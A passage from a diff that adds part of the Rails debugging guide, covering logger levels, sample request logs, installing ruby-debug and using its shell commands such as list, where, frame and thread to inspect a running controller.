+The available log levels are: +:debug+, +:info+, +:warn+, +:error+, and +:fatal+, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use
+
+[source, ruby]
+----------------------------------------------------------------------------
+config.log_level = Logger::WARN # In any environment initializer, or
+ActiveRecord::Base.logger.level = 0 # at any time
+----------------------------------------------------------------------------
+
+This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.
+
+[TIP]
+The default Rails log level is +info+ in production mode and +debug+ in development and test mode.
+
+=== Sending Messages
+
+To write in the current log use the `logger.(debug|info|warn|error|fatal)` method from within a controller, model or mailer:
+
+[source, ruby]
+----------------------------------------------------------------------------
+logger.debug "Person attributes hash: #{@person.attributes.inspect}"
+logger.info "Processing the request..."
+logger.fatal "Terminating application, raised unrecoverable error!!!"
+----------------------------------------------------------------------------
+
+Here's an example of a method instrumented with extra logging:
+
+[source, ruby]
+----------------------------------------------------------------------------
+class PostsController < ApplicationController
+ # ...
+
+ def create
+ @post = Post.new(params[:post])
+ logger.debug "New post: #{@post.attributes.inspect}"
+ logger.debug "Post should be valid: #{@post.valid?}"
+
+ if @post.save
+ flash[:notice] = 'Post was successfully created.'
+ logger.debug "The post was saved and now is the user is going to be redirected..."
+ redirect_to(@post)
+ else
+ render :action => "new"
+ end
+ end
+
+ # ...
+end
+----------------------------------------------------------------------------
+
+Here's an example of the log generated by this method:
+
+----------------------------------------------------------------------------
+Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+ Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+ Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
+New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "published"=>false, "created_at"=>nil}
+Post should be valid: true
+ Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The post was saved and now is the user is going to be redirected...
+Redirected to #
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
+----------------------------------------------------------------------------
+
+Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
+
+== Debugging with ruby-debug
+
+When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
+
+The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
+
+=== Setup
+
+The debugger used by Rails, +ruby-debug+, comes as a gem. To install it, just run:
+
+[source, shell]
+----------------------------------------------------------------------------
+$ sudo gem install ruby-debug
+----------------------------------------------------------------------------
+
+In case you want to download a particular version or get the source code, refer to the link:http://rubyforge.org/projects/ruby-debug/[project's page on rubyforge].
+
+Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method.
+
+Here's an example:
+
+[source, ruby]
+----------------------------------------------------------------------------
+class PeopleController < ApplicationController
+ def new
+ debugger
+ @person = Person.new
+ end
+end
+----------------------------------------------------------------------------
+
+If you see the message in the console or logs:
+
+----------------------------------------------------------------------------
+***** Debugger requested, but was not available: Start server with --debugger to enable *****
+----------------------------------------------------------------------------
+
+Make sure you have started your web server with the option +--debugger+:
+
+[source, shell]
+----------------------------------------------------------------------------
+~/PathTo/rails_project$ script/server --debugger
+=> Booting Mongrel (use 'script/server webrick' to force WEBrick)
+=> Rails 2.2.0 application starting on http://0.0.0.0:3000
+=> Debugger enabled
+...
+----------------------------------------------------------------------------
+
+[TIP]
+In development mode, you can dynamically `require \'ruby-debug\'` instead of restarting the server, if it was started without `--debugger`.
+
+In order to use Rails debugging you'll need to be running either *WEBrick* or *Mongrel*. For the moment, no alternative servers are supported.
+
+=== The Shell
+
+As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
+
+If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
+
+For example:
+
+----------------------------------------------------------------------------
+@posts = Post.find(:all)
+(rdb:7)
+----------------------------------------------------------------------------
+
+Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: `help` (You didn't see that coming, right?)
+
+----------------------------------------------------------------------------
+(rdb:7) help
+ruby-debug help v0.10.2
+Type 'help ' for help on a specific command
+
+Available commands:
+backtrace delete enable help next quit show trace
+break disable eval info p reload source undisplay
+catch display exit irb pp restart step up
+condition down finish list ps save thread var
+continue edit frame method putl set tmate where
+----------------------------------------------------------------------------
+
+[TIP]
+To view the help menu for any command use `help ` in active debug mode. For example: _+help var+_
+
+The next command to learn is one of the most useful: `list`. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command.
+
+This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+.
+
+----------------------------------------------------------------------------
+(rdb:7) list
+[1, 10] in /PathToProject/posts_controller.rb
+ 1 class PostsController < ApplicationController
+ 2 # GET /posts
+ 3 # GET /posts.xml
+ 4 def index
+ 5 debugger
+=> 6 @posts = Post.find(:all)
+ 7
+ 8 respond_to do |format|
+ 9 format.html # index.html.erb
+ 10 format.xml { render :xml => @posts }
+----------------------------------------------------------------------------
+
+If you repeat the +list+ command, this time using just `l`, the next ten lines of the file will be printed out.
+
+----------------------------------------------------------------------------
+(rdb:7) l
+[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
+ 11 end
+ 12 end
+ 13
+ 14 # GET /posts/1
+ 15 # GET /posts/1.xml
+ 16 def show
+ 17 @post = Post.find(params[:id])
+ 18
+ 19 respond_to do |format|
+ 20 format.html # show.html.erb
+----------------------------------------------------------------------------
+
+And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
+
+=== The Context
+
+When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
+
+ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
+
+At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.
+
+----------------------------------------------------------------------------
+(rdb:5) where
+ #0 PostsController.index
+ at line /PathTo/project/app/controllers/posts_controller.rb:6
+ #1 Kernel.send
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+ #2 ActionController::Base.perform_action_without_filters
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+ #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+...
+----------------------------------------------------------------------------
+
+You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number.
+
+----------------------------------------------------------------------------
+(rdb:5) frame 2
+#2 ActionController::Base.perform_action_without_filters
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+----------------------------------------------------------------------------
+
+The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
+
+Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+
+=== Threads
+
+The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options:
+
+* `thread` shows the current thread.
+* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+* `thread stop _n_` stop thread _n_.
+* `thread resume _n_` resumes thread _n_.
+* `thread switch _n_` switches the current thread context to _n_.
+
+This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
+
+=== Inspecting Variables
+
+Any expression can be evaluated in the current context. To evaluate an expression, just type it!
+
+This example shows how you can print the instance_variables defined within the current context:
+
+----------------------------------------------------------------------------
+@posts = Post.find(:all)
+(rdb:11) instance_variables
+["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
+----------------------------------------------------------------------------
+
+As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).
+
+----------------------------------------------------------------------------
+(rdb:11) next
+Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
+ Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
+ Parameters: {"action"=>"index", "controller"=>"posts"}
+/PathToProject/posts_controller.rb:8
+respond_to do |format|
+-------------------------------------------------------------------------------
+
+And then ask again for the instance_variables:
+
+----------------------------------------------------------------------------
+(rdb:11) instance_variables.include? "@posts"
+true
+----------------------------------------------------------------------------
+
+Now +@posts+ is a included in the instance variables, because the line defining it was executed.
+
+[TIP]
+You can also step into *irb* mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+
+The `var` method is the most convenient way to show variables and their values:
+
+----------------------------------------------------------------------------
+var
+(rdb:1) v[ar] const